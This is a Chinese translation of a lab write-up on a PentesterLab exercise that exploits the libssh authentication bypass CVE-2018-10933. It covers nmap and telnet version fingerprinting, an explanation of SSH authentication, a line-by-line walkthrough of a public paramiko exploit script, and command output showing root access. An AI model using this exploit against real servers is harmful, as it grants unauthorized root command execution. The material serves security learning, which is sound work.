黑客实验室:P1。 Libssh身份验证绕过

我将开始一系列有关pentesterlab服务解析的文章。 不幸的是,我没有该课程的专业版,因此​​我只限于免费任务清单。 每个案例都是一个系统,其中包含一个漏洞,必须利用该漏洞才能实现特定的目标。


Libssh身份验证绕过


该案例包括运行SSH服务的主机(虚拟机)。 挑战在于如何通过SSH身份验证旁路来控制计算机。 想象一下,我们不知道服务器上哪个特定的SSH实现以及我们需要利用哪个漏洞。

如何找出? 首先想到的是将nmap网络扫描仪与-sV选项一起使用:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n"); 

在该报告中,nmap报告他不知道该服务。 但是,在查看了服务指纹之后,我们可以看到服务器标识行,从该行可以明显看出该端口正在侦听LibSSH版本0.8.3。
从RFC-4253切片:
建立连接后,客户端和服务器立即交换以下形式的消息:

SSH-protoversion-softwareversion注释

protoversion字段指示协议版本。 由于SSH的第二版本当前是相关的,因此该字段应包含值“ 2.0”。 软件版本字段包含协议实现的名称和版本,主要用于启动扩展,兼容性和实现功能的指示。 注释字段是可选的;它指示可以帮助解决用户问题的其他信息。
同样,我们可以使用telnet实用程序获得此行:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host. 

或通过WireShark:

图片

Google搜索将我们引导到漏洞CVE-2018-10933,该漏洞影响的LibSSH版本从0.7.6到0.8.4。 为了理解它,我将简要讨论使用SSH的客户端身份验证。 建立连接后,客户端和服务器会商定一个称为“ 会话密钥”的秘密,该秘密将在会话期间用于加密,此外,身份验证可以分为几个阶段,分别进行加密:

  1. 客户端向服务器发送一条SSH_MSG_USERAUTH_REQUEST消息,其中包含用户名,身份验证方法名称和其他字段。 如果不支持建议的身份验证方法,则服务器可以接受请求,也可以通过代码为SSH_MSG_USERAUTH_FAILURE的消息拒绝请求。
  2. 第二步直接取决于身份验证方法。 在使用密码认证的情况下,客户端在第一阶段发送密码,然后等待服务器的确认。 在使用公钥进行身份验证时,公钥和签名与私钥一起发送。 服务器检查它是否具有这样的用户,公共密钥,以及签名的公共密钥是否匹配...仍然存在一种由主机进行身份验证的方法,但是很少使用,所有身份验证方法都可以在RFC-4252( 俄语英语 )中详细阅读。
  3. 第三步,客户端希望来自服务器的身份验证。 如果服务器接受身份验证,则服务器将发送一条代码为SSH_MSG_USERAUTH_SUCSESS的消息,如果服务器拒绝该消息,则将其发送为SSH_MSG_USERAUTH_FAILURE。

代码部分中有一个错误,负责检查消息代码,该消息代码允许服务器接收SSH_MSG_USERAUTH_SUCSESS消息。 使用此间隙可以绕过身份验证过程。

GitHUb对此漏洞有许多现成的利用程序,因此我们不会重新发明轮子并考虑这个问题 (我感谢脚本作者)。

该脚本使用paraviko -SSHv2协议的Python模块(2.7、3.4+)以python编写,该模块提供了客户端和服务器的功能。 让我们分析一下我们感兴趣的代码部分:

 sock = socket.socket() sock.connect((host,int(port))) 

该行创建一个套接字并连接到服务器。 什么是套接字在这里很好地描述

 message = paramiko.message.Message() 

该消息类是SSH2。 它是一组行号和类型为bool的变量,收集在一个字节流中。

 transport = paramiko.transport.Transport(sock) transport.start_client() 

此类是与SSH协议进行交互的一种方式。 我们创建它并立即以客户端模式连接。

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) 

paramiko.common.cMSG_USERAUTH_SUCCESS参数是数字52,放在一个字节中。 这是消息代码MSG_USERAUTH_SUCCESS。 我们将此消息发送到服务器。

 cmd = transport.open_session() cmd.exec_command(command) 

我们创建一个新通道,并立即发送以字符串形式写在命令中的命令。

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output) 

makefile方法在管道周围创建一个文件包装器。 “ Rb”-读取字节访问模式,222048-缓冲区大小。 Out获取我们发送的命令的结果,该结果通过print()打印。 使用out.close(),我们结束连接。

仍然需要运行此脚本,以指示先前下载并正在运行的虚拟机的ip地址,以及我们要在受害者上执行的命令。 我试图指定其他命令,结果如下:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n' 

结果的结论有点笨拙,如有必要,可以对其进行修复。 但总的来说-该任务可以视为已完成。

待续...

Source: https://habr.com/ru/post/zh-CN438434/


All Articles